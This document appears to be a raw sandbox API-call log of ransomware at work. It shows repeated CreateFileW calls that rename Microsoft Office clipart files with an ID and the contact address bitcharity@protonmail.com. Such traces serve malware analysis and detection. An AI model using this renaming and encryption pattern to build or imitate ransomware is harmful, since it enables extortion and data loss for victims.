1 [0257.731] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.731] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.732] CloseHandle (hObject=0x118c) returned 1 [0257.733] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.733] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02285_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02285_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.733] CloseHandle (hObject=0x118c) returned 1 [0257.734] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.735] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.735] CloseHandle (hObject=0x118c) returned 1 [0257.736] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.736] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.325] CloseHandle (hObject=0x118c) returned 1 [0258.530] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.530] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.531] CloseHandle (hObject=0x1288) returned 1 [0258.532] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.532] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.532] CloseHandle (hObject=0x1288) returned 1 [0258.534] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.534] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.534] CloseHandle (hObject=0x1288) returned 1 [0258.535] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.535] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.535] CloseHandle (hObject=0x1288) returned 1 [0258.536] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.536] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.537] CloseHandle (hObject=0x1288) returned 1 [0258.537] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.537] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.538] CloseHandle (hObject=0x1288) returned 1 [0258.541] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.541] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.541] CloseHandle (hObject=0x1288) returned 1 [0258.543] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.543] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.543] CloseHandle (hObject=0x1288) returned 1 [0258.544] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.544] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.544] CloseHandle (hObject=0x1288) returned 1 [0258.545] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.545] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.545] CloseHandle (hObject=0x1288) returned 1 [0258.546] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.546] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.547] CloseHandle (hObject=0x1288) returned 1 [0258.548] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.548] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.548] CloseHandle (hObject=0x1288) returned 1 [0258.550] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.550] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.550] CloseHandle (hObject=0x1288) returned 1 [0258.552] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.552] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.552] CloseHandle (hObject=0x1288) returned 1 [0258.553] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.553] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.553] CloseHandle (hObject=0x1288) returned 1 [0258.554] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.554] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.554] CloseHandle (hObject=0x1288) returned 1 [0258.556] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.556] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.556] CloseHandle (hObject=0x1288) returned 1 [0258.557] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.557] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.558] CloseHandle (hObject=0x1288) returned 1 [0258.558] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.559] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.559] CloseHandle (hObject=0x1288) returned 1 [0258.560] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.560] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.560] CloseHandle (hObject=0x1288) returned 1 [0258.560] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.561] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.561] CloseHandle (hObject=0x1288) returned 1 [0258.562] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.562] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.562] CloseHandle (hObject=0x1288) returned 1 [0258.563] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.563] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.564] CloseHandle (hObject=0x1288) returned 1 [0258.723] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.724] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.724] CloseHandle (hObject=0x1068) returned 1 [0258.725] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.725] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.725] CloseHandle (hObject=0x1068) returned 1 [0258.726] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.726] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.727] CloseHandle (hObject=0x1068) returned 1 [0258.728] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.728] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.728] CloseHandle (hObject=0x1068) returned 1 [0258.731] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.731] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.731] CloseHandle (hObject=0x1068) returned 1 [0258.732] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.733] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, 